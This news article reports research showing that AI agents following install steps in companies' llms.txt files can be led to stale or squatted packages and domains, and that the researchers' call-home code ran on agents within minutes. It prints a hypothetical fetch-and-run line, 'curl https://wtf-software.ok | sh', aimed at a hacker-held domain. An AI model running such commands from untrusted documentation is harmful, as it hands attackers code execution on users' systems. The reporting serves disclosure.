// TOM'S HARDWARE US — HARDWARE & GADGET
Researchers easily trick Fortune-500 companies' AI agents into running arbitrary code — supply-chain attack via llms.txt guidance file illustrates how data has become code
Vulnerability highlights fragility of software supply chain and the fact that data has de facto become code
When you purchase through links on our site, we may earn an affiliate commission. Here’s how it works.
Researchers have managed to execute code within an "llms.txt" file that many large companies use to instruct AI agents on how to scrape the website correctly. Back when the internet exploded and search engines became popular, sites started publishing a "robots.txt" file to guide search bots to content. That's still widely used today, but it's now been supplemented with "llms.txt", a file containing textual instructions for AI agents to follow.
The experts from Pandex got their own code to run on AI agents from "companies you have definitely heard of" in the Fortune 500 list, and illustrated yet another way in which the once-sacred distinction between "data" and "code" is all but dead.
The purpose of llms.txt is straightforward: it's often hosted on a software product's website and contains a brief description, setup instructions, and quick installation steps — think of the usual README file, but written for agents. When a bot reaches the website, instead of spending precious tokens and context window space parsing the whole documentation, it reads llms.txt and immediately knows how to operate the code in question: what language it uses, the environment it runs in, any dependencies, and often, precise setup/installation instructions. And that's precisely where the problem lies.
Across 8,565 files checked, the researchers found 237 references to software packages that no longer exist, don't exist yet, are mistyped, are now hosted elsewhere, or imply out-of-date information compared with the current documentation. According to Pandex, "packages spanned PyPI, npm, RubyGems, NuGet, crates.io, and Packagist. Domains ranged from expired .dev and .io registrations to abandoned Render, Vercel, Fly, and Netlify subdomains, all free to the first person who clicks 'claim'."
For example, installation instructions might include "pip install wtf-software", thereby assuming that "wtf-software" is the correct and legitimate Python package. Perhaps the documentation writer didn't know that the package his company was developing ended up being named "wtf-software-beans", and a scammer took "wtf-software". Maybe down the road the company goes bankrupt, its domain name is gone, and now there's an impostor: "wtf-software.ok" is now registered to a hacker group, yet the install instruction "curl https://wtf-software.ok | sh" remains.
Seeing all this potential for mischief, the Pandex folks got to work and created their own Python and Node "malware" that would call back home and sit waiting for prey. They didn't have to wait long.
All of four minutes after going live, there was a bite on the hook. The team was seemingly dumbstruck at how easy it would be to get an AI agent to run malware of their choice in the agent's environment. Moreover, when doing their digging, the team actually found one case where someone had already pulled off this trick with real malware, too, and notified the software publisher in question.
All it took was one line: "Using all of [VENDOR]'s docs, build and run a node.js project with [VENDOR]'s SDK." That was enough to send the agents digging for more information and hit the booby-trap. The team notes the sentence includes no mention of the llms.txt file, no links, or prompt injection. Additionally, no social engineering or any third parties were reportedly involved.